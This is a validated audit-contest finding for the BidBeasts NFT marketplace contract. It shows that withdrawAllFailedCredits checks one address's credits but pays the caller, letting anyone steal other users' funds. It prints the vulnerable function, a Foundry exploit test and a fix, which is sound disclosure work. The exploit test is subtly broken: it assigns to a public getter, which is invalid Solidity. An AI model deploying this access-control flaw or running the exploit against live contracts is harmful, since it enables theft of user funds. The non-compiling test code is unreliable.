Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unauthorized Withdrawal of Failed Transfer Credits

samuelsmith442

Description

The withdrawAllFailedCredits function allows any user to withdraw failed transfer credits that belong to another user, leading to potential theft of funds.

Expected Behavior

A user should only be able to withdraw their own failed transfer credits.

Actual Behavior

The function takes an address parameter _receiver to check the credits, but then zeroes out failedTransferCredits[msg.sender] and sends the funds to msg.sender. This mismatch allows a malicious user to withdraw credits that belong to another user.

Root Cause

The function uses the parameter _receiver to check the amount of credits but then uses msg.sender for both zeroing out the credits and sending the funds:

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver]; // Uses _receiver to check credits
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0; // Uses msg.sender to zero out credits
(bool success, ) = payable(msg.sender).call{value: amount}(""); // Sends to msg.sender
require(success, "Withdraw failed");
}

Risk Assessment

Impact

If exploited, this vulnerability would allow an attacker to steal all failed transfer credits from any user, resulting in direct financial loss for users who have accumulated failed transfer credits.

Likelihood

The likelihood is medium because it requires knowledge of which addresses have failed transfer credits, but once identified, the exploit is straightforward to execute.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/BidBeastsNFTMarketPlace.sol";
import "../src/BidBeasts_NFT_ERC721.sol";
​
contract ExploitTest is Test {
BidBeastsNFTMarket market;
BidBeasts nft;
address victim = address(0x1);
address attacker = address(0x2);
function setUp() public {
// Deploy contracts
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
// Setup: Create failed transfer credits for victim
vm.deal(address(market), 1 ether);
vm.prank(address(market));
market.failedTransferCredits(victim) = 1 ether;
}
function testExploit() public {
// Initial state
console.log("Victim's failed credits:", market.failedTransferCredits(victim));
console.log("Attacker's balance before:", attacker.balance);
// Exploit
vm.startPrank(attacker);
market.withdrawAllFailedCredits(victim);
vm.stopPrank();
// Verification
console.log("Victim's failed credits after:", market.failedTransferCredits(victim));
console.log("Attacker's balance after:", attacker.balance);
assertEq(market.failedTransferCredits(victim), 0, "Victim's credits should be zeroed out");
assertEq(attacker.balance, 1 ether, "Attacker should have stolen the funds");
}
}

Recommended Mitigation

Modify the withdrawAllFailedCredits function to only allow users to withdraw their own credits:

// Before: Vulnerable code
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
​
// After: Fixed code
function withdrawAllFailedCredits() external {
uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Explanation

The fixed implementation removes the _receiver parameter and only allows users to withdraw their own failed transfer credits, preventing unauthorized withdrawals.

Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!